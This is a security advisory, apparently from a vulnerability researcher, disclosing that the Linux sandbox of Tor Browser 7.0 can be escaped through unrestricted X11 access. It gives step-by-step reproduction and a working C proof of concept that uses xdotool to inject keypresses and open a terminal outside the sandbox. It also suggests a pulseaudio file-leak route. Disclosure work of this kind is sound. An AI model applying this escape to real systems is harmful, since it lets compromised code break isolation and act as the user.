Tor Linux Sandbox Breakout Via X11

`Tor: Linux sandbox breakout via X11  
  
  
From inside the Linux sandbox described in https://blog.torproject.org/blog/tor-browser-70-released, it is still possible to talk to the X server without any restrictions. This means that a compromised browser can e.g. use the XTEST X protocol extension at https://www.x.org/releases/X11R7.7/doc/xextproto/xtest.html to fake arbitrary keyboard and mouse events, directed at arbitrary windows. This permits a sandbox breakout, e.g. by injecting keypresses into a background window.  
  
https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux#HowdoIprotectmyselffromXexploits mentions that the X server is reachable, but it sounds like the author didn't realize that a normal connection to the X server permits sandbox breakouts by design.  
  
To reproduce:  
  
Install Debian Jessie with the Xfce4 desktop environment and with  
backports enabled.  
Install bubblewrap and xdotool.  
Install the sandboxed Tor browser from  
https://www.torproject.org/dist/torbrowser/7.0a4/sandbox-0.0.6-linux64.zip  
Launch the sandboxed Tor browser, use the default configuration. When  
the browser has launched, close it.  
Delete ~/.local/share/sandboxed-tor-browser/tor-browser/Browser/firefox.  
Store the following as ~/.local/share/sandboxed-tor-browser/tor-browser/Browser/firefox.c:  
  
=========================  
#include <stdlib.h>  
#include <unistd.h>  
  
int main(void){  
int status;  
setenv("LD_LIBRARY_PATH", "/home/amnesia/sandboxed-tor-browser/tor-browser", 1);  
if (fork() == 0) {  
execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "key", "alt+F2", "sleep", "1", "type", "xfce4-terminal", NULL);  
perror("fail");  
return 0;  
}  
wait(&status);  
if (fork() == 0) {  
execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "sleep", "1", "key", "Return", "sleep", "1", "type", "id", NULL);  
perror("fail");  
return 0;  
}  
wait(&status);  
if (fork() == 0) {  
execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "sleep", "1", "key", "Return", NULL);  
perror("fail");  
return 0;  
}  
wait(&status);  
while (1) sleep(1000);  
return 0;  
}  
=========================  
  
In ~/.local/share/sandboxed-tor-browser/tor-browser/Browser, run  
"gcc -static -o firefox firefox.c".  
Run "cp /usr/bin/xdotool /usr/lib/x86_64-linux-gnu/* ~/.local/share/sandboxed-tor-browser/tor-browser/".  
Now run the launcher for the sandboxed browser again. Inside the  
sandbox, the new firefox binary will connect to the X11 server and  
send fake keypresses to open a terminal outside the sandbox and type  
into it.  
  
There are probably similar issues with pulseaudio when it's enabled;  
I suspect that it's possible to e.g. use the pulseaudio socket to load  
pulseaudio modules with arbitrary parameters, which would e.g. permit  
leaking parts of files outside the sandbox by using them as  
authentication cookie files for modules that implement audio streaming  
over the network.  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
Found by: jannh  
  
`